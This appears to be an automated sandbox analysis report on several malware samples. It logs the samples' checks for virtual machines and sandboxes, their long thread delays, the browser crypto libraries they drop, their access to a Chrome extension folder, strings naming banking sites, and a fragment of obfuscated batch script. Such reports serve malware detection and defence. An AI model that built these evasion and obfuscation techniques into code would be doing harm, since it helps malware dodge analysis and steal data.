Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\cmd.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\tasklist.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\tasklist.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\38204\21808\Adaptation.pif	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\38204\21808\Adaptation.pif	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\38204\21808\Adaptation.pif	Process information set: FAILCRITICALERRORS \| NOALIGNMENTFAULTEXCEPT \| NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX
Source: C:\ProgramData\Drivers\csrss.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\ProgramData\Drivers\csrss.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\ProgramData\Drivers\csrss.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\ProgramData\Drivers\csrss.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\ProgramData\Drivers\csrss.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\ProgramData\Drivers\csrss.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\ProgramData\Drivers\csrss.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\ProgramData\Drivers\csrss.exe	Process information set: NOOPENFILEERRORBOX

Malware Analysis System Evasion

Query firmware table information (likely to detect VMs)

Source: C:\Users\user\AppData\Local\Temp\6719.exe

System information queried: FirmwareTableInformation

Jump to behavior

Tries to detect sandboxes / dynamic malware analysis system (registry check)

Source: C:\Users\user\AppData\Local\Temp\6719.exe

File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__

Jump to behavior

Tries to detect sandboxes and other dynamic analysis tools (process name or module or function)

Source: BRvptajioG.exe, 00000000.00000002.1366390674.0000000002B5E000.00000004.00000020.00020000.00000000.sdmp, 5833.exe, 0000000E.00000002.1864353714.000000000093E000.00000004.00000020.00020000.00000000.sdmp, 85CF.exe, 00000013.00000002.1967702553.0000000000AAE000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: ASWHOOK
Source: decegfu, 0000000D.00000002.1690549456.0000000002DAE000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: ASWHOOKC

Queries sensitive video device information (via WMI, Win32_VideoController, often done to detect virtual machines)

Source: C:\Users\user\AppData\Local\Temp\6719.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_VideoController
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_VideoController

Checks if the current machine is a virtual machine (disk enumeration)

Source: C:\Users\user\Desktop\BRvptajioG.exe	Key enumerated: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SCSI	Jump to behavior
Source: C:\Users\user\Desktop\BRvptajioG.exe	Key enumerated: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SCSI	Jump to behavior
Source: C:\Users\user\Desktop\BRvptajioG.exe	Key enumerated: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SCSI	Jump to behavior
Source: C:\Users\user\Desktop\BRvptajioG.exe	Key enumerated: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SCSI	Jump to behavior
Source: C:\Users\user\Desktop\BRvptajioG.exe	Key enumerated: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SCSI	Jump to behavior
Source: C:\Users\user\Desktop\BRvptajioG.exe	Key enumerated: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SCSI	Jump to behavior
Source: C:\Users\user\AppData\Roaming\decegfu	Key enumerated: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SCSI	Jump to behavior
Source: C:\Users\user\AppData\Roaming\decegfu	Key enumerated: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SCSI	Jump to behavior
Source: C:\Users\user\AppData\Roaming\decegfu	Key enumerated: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SCSI	Jump to behavior
Source: C:\Users\user\AppData\Roaming\decegfu	Key enumerated: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SCSI	Jump to behavior
Source: C:\Users\user\AppData\Roaming\decegfu	Key enumerated: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SCSI	Jump to behavior
Source: C:\Users\user\AppData\Roaming\decegfu	Key enumerated: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SCSI	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\5833.exe	Key enumerated: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SCSI	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\5833.exe	Key enumerated: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SCSI	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\5833.exe	Key enumerated: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SCSI	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\5833.exe	Key enumerated: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SCSI	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\5833.exe	Key enumerated: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SCSI	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\5833.exe	Key enumerated: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SCSI	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\85CF.exe	Key enumerated: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SCSI	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\85CF.exe	Key enumerated: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SCSI	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\85CF.exe	Key enumerated: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SCSI	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\85CF.exe	Key enumerated: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SCSI	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\85CF.exe	Key enumerated: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SCSI	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\85CF.exe	Key enumerated: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SCSI	Jump to behavior

Tries to detect sandboxes / dynamic malware analysis system (file name check)

Source: C:\Windows\SysWOW64\regsvr32.exe	Section loaded: \KnownDlls32\TEStapP.EXE			Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\6071.exe	Section loaded: \KnownDlls32\TEStapP.EXE

Uses ping.exe to sleep

Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\PING.EXE ping -n 5 localhost
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\PING.EXE ping -n 5 localhost

Queries sensitive disk information (via WMI, Win32_DiskDrive, often done to detect virtual machines)

Source: C:\Users\user\AppData\Local\Temp\6719.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_DiskDrive
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_DiskDrive

Source: C:\Windows\explorer.exe TID: 7424	Thread sleep time: -130700s >= -30000s	Jump to behavior
Source: C:\Windows\explorer.exe TID: 7420	Thread sleep time: -63200s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\6719.exe TID: 7476	Thread sleep time: -23980767295822402s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\6719.exe TID: 1792	Thread sleep time: -922337203685477s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\6071.exe TID: 8128	Thread sleep time: -200900s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\6071.exe TID: 6084	Thread sleep time: -30000s >= -30000s
Source: C:\Windows\SysWOW64\explorer.exe TID: 2044	Thread sleep time: -30000s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe TID: 3312	Thread sleep time: -18446744073709540s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe TID: 6500	Thread sleep time: -922337203685477s >= -30000s
Source: C:\ProgramData\Drivers\csrss.exe TID: 2516	Thread sleep count: 2754 > 30
Source: C:\ProgramData\Drivers\csrss.exe TID: 2516	Thread sleep time: -275400s >= -30000s
Source: C:\ProgramData\Drivers\csrss.exe TID: 5652	Thread sleep count: 2249 > 30
Source: C:\ProgramData\Drivers\csrss.exe TID: 5652	Thread sleep time: -224900s >= -30000s

Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\ProgramData\Drivers\csrss.exe	Last function: Thread delayed
Source: C:\ProgramData\Drivers\csrss.exe	Last function: Thread delayed
Source: C:\ProgramData\Drivers\csrss.exe	Last function: Thread delayed
Source: C:\ProgramData\Drivers\csrss.exe	Last function: Thread delayed

Source: C:\Users\user\AppData\Local\Temp\6719.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\6719.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe	Thread delayed: delay time: 922337203685477

Source: C:\Windows\explorer.exe	Window / User API: threadDelayed 382	Jump to behavior
Source: C:\Windows\explorer.exe	Window / User API: threadDelayed 1307	Jump to behavior
Source: C:\Windows\explorer.exe	Window / User API: threadDelayed 632	Jump to behavior
Source: C:\Windows\explorer.exe	Window / User API: foregroundWindowGot 857	Jump to behavior
Source: C:\Windows\explorer.exe	Window / User API: foregroundWindowGot 841	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\6719.exe	Window / User API: threadDelayed 2797	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\6719.exe	Window / User API: threadDelayed 4326	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\6071.exe	Window / User API: threadDelayed 2009
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe	Window / User API: threadDelayed 2833
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe	Window / User API: threadDelayed 2943
Source: C:\ProgramData\Drivers\csrss.exe	Window / User API: threadDelayed 2754
Source: C:\ProgramData\Drivers\csrss.exe	Window / User API: threadDelayed 2249

Source: C:\Users\user\AppData\Local\Temp\38204\21808\Adaptation.pif	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BEDT2L3A\vcruntime140[1].dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\38204\21808\Adaptation.pif	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BEDT2L3A\msvcp140[1].dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\38204\21808\Adaptation.pif	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BEDT2L3A\softokn3[1].dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\38204\21808\Adaptation.pif	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BEDT2L3A\freebl3[1].dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\90FB.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\38204\Span	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\38204\21808\Adaptation.pif	Dropped PE file which has not been started: C:\ProgramData\freebl3.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\38204\21808\Adaptation.pif	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BEDT2L3A\nss3[1].dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\38204\21808\Adaptation.pif	Dropped PE file which has not been started: C:\ProgramData\softokn3.dll	Jump to dropped file

Source: C:\Users\user\AppData\Local\Temp\6719.exe	Registry key queried: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Class\{4d36e968-e325-11ce-bfc1-08002be10318}\0000 name: DriverDesc	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\6719.exe	Registry key queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System name: SystemBiosVersion	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\6719.exe	Registry key queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System name: VideoBiosVersion	Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\6719.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor

Source: C:\Users\user\AppData\Local\Temp\6719.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\6719.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe	Thread delayed: delay time: 922337203685477

Source: C:\Windows\SysWOW64\explorer.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\
Source: C:\Windows\SysWOW64\explorer.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\
Source: C:\Windows\SysWOW64\explorer.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\
Source: C:\Windows\SysWOW64\explorer.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\css\
Source: C:\Windows\SysWOW64\explorer.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\images\
Source: C:\Windows\SysWOW64\explorer.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\html\

Source: 6719.exe, 00000010.00000002.2220541124.000000000449B000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: turbotax.intuit.comVMware20,11696492231t
Source: explorer.exe, 0000000B.00000000.1351807807.0000000000C74000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: SCSI\DISK&VEN_VMWARE&PROD_VIRTUAL_DISK\4&1656F219&0&000000I
Source: 90FB.exe, 00000014.00000003.1876951905.000000007ED70000.00000004.00001000.00020000.00000000.sdmp, 90FB.exe, 00000014.00000003.2038046780.00000000021D2000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: %WatAlrxmiRGPGVJfZooqweRsirAeWxqclNuDPJP%m%hymZdrhmCgAZboHytUChGeYJlLDPlZrfdd% /%WatAlrxmiRGPGVJfZooqweRsirAeWxqclNuDPJP% %WatAlrxmiRGPGVJfZooqweRsirAeWxqclNuDPJP%o%YtvzcBDTWypkcSFzDWELmGtWLvuzFWBkZ%%qxaIyqymxynyaeUetbjfVpyDjvqtvZOOxPm% /b Com%YtvzcBDTWypkcSFzDWELmGtWLvuzFWBkZ%%xvPwdJuOiuLqTqhUNmvoHlDjxLaVQGGLVWFKPTfWIJI%%KpDmUqrArjkYmvwHGfSTmqkpjQCmWEBdTZHifc%%pLJStoAhZgObgqiWHSqqVjfTveUFUszrarVACmc% %GKllSuIGHnRidmLAKCGmcFKpbkeLuqkE%\G%IVDAuumfYUAsZ%
Source: 6719.exe, 00000010.00000002.2220541124.00000000046AB000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: netportal.hdfcbank.comVMware20,11696492231
Source: 6719.exe, 00000010.00000002.2220541124.000000000449B000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: www.interactivebrokers.co.inVMware20,11696492231~
Source: explorer.exe, 0000000B.00000000.1354982991.0000000008DFE000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: BBSCSI\CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00\4&224f42ef&0&000000
Source: 6719.exe, 00000010.00000000.1736203316.0000000000D5E000.00000002.00000001.01000000.00000008.sdmp	Binary or memory string: <Phrase ID="IDS_CONVERTER_OPTIONS_VMWARE_DESCRIPTION_STREAMOPTIMIZED"><![CDATA[Monolithic sparse format compressed for streaming. Suites for using with OVF packages]]></Phrase>
Source: 6719.exe, 00000010.00000002.2220541124.000000000449B000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: netportal.hdfcbank.comVMware20,11696492231
Source: 6719.exe, 00000010.00000000.1736203316.0000000000D5E000.00000002.00000001.01000000.00000008.sdmp	Binary or memory string: <Phrase ID="IDS_CONVERTER_OPTIONS_VMWARE_FLAT"><![CDATA[VMware Workstation pre-allocated image]]></Phrase>
Source: 6719.exe, 00000010.00000000.1736203316.0000000000D5E000.00000002.00000001.01000000.00000008.sdmp	Binary or memory string: <Phrase ID="IDS_IMAGE_CONVERTER_TYPE_VMDK"><![CDATA[VMware image files]]></Phrase>
Source: 6719.exe, 00000010.00000000.1736203316.0000000000D5E000.00000002.00000001.01000000.00000008.sdmp	Binary or memory string: <Phrase ID="IDS_CONVERTER_LOCATION_DESCRIPTION_HYPER_V"><![CDATA[Virtual Disk or Virtual Machine on remote Hyper-V hypervisor]]></Phrase>
